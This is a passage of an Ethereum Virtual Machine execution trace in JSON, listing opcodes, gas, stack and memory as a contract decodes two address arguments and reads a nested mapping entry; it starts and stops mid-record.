"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":114733,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":114730,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":114727,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":114724,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":114721,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":114718,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":114708,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766,"op":"SWAP2","gas":114707,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":114704,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":114701,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":114699,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1798,"op":"JUMPDEST","gas":114691,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1799,"op":"SWAP2","gas":114690,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1800,"op":"POP","gas":114687,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1801,"op":"PUSH2","gas":114685,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1804,"op":"PUSH1","gas":114682,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1806,"op":"DUP5","gas":114679,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1807,"op":"ADD","gas":114676,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1808,"op":"PUSH2","gas":114673,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1811,"op":"JUMP","gas":114670,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x6ce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":114662,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":114661,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":114658,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":114655,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":114652,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":114649,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":114646,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":114643,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":114640,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":114637,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":114634,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":114631,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":114628,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":114625,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":114615,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766,"op":"SWAP2","gas":114614,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x714","0x24","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1767,"op":"SWAP1","gas":114611,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1768,"op":"POP","gas":114608,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1769,"op":"JUMP","gas":114606,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x714"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1812,"op":"JUMPDEST","gas":114598,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1813,"op":"SWAP1","gas":114597,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1814,"op":"POP","gas":114594,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1815,"op":"SWAP3","gas":114592,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1816,"op":"POP","gas":114589,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1817,"op":"SWAP3","gas":114587,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1818,"op":"SWAP1","gas":114584,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1819,"op":"POP","gas":114581,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1820,"op":"JUMP","gas":114579,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":441,"op":"JUMPDEST","gas":114571,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":442,"op":"PUSH1","gas":114570,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":444,"op":"PUSH1","gas":114567,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":446,"op":"SWAP1","gas":114564,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":447,"op":"DUP2","gas":114561,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":448,"op":"MSTORE","gas":114558,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":449,"op":"PUSH1","gas":114555,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":451,"op":"SWAP3","gas":114552,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":452,"op":"DUP4","gas":114549,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":453,"op":"MSTORE","gas":114546,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":454,"op":"PUSH1","gas":114543,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":456,"op":"DUP1","gas":114540,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":457,"op":"DUP5","gas":114537,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":458,"op":"KECCAK256","gas":114534,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x40","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":459,"op":"SWAP1","gas":114492,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":460,"op":"SWAP2","gas":114489,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x20","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":461,"op":"MSTORE","gas":114486,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40","0x2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0x20"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":462,"op":"SWAP1","gas":114483,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x40"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":463,"op":"DUP3","gas":114480,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":464,"op":"MSTORE","gas":114477,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":465,"op":"SWAP1","gas":114474,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x0","0x40"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":466,"op":"KECCAK256","gas":114471,"gasCost":42,"depth":2,"stack":["0xe6a43905","0xd6","0x40","0x0"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":467,"op":"SLOAD","gas":114429,"gasCost":2100,"depth":2,"stack":["0xe6a43905","0xd6","0x431874daeb80cf49dba3f4eefe37604bc47b25379be3bc67ca2e9bfd0da83096"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":468,"op":"PUSH1","gas":112329,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":470,"op":"PUSH1","gas":112326,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","2d9a9ffb14dfb10cbbd2f756f9059f42c92d9b315c5137fc1ba900a21479c8a5","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":472,"op":"PUSH1","gas":112323,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1fa848857b24b9416355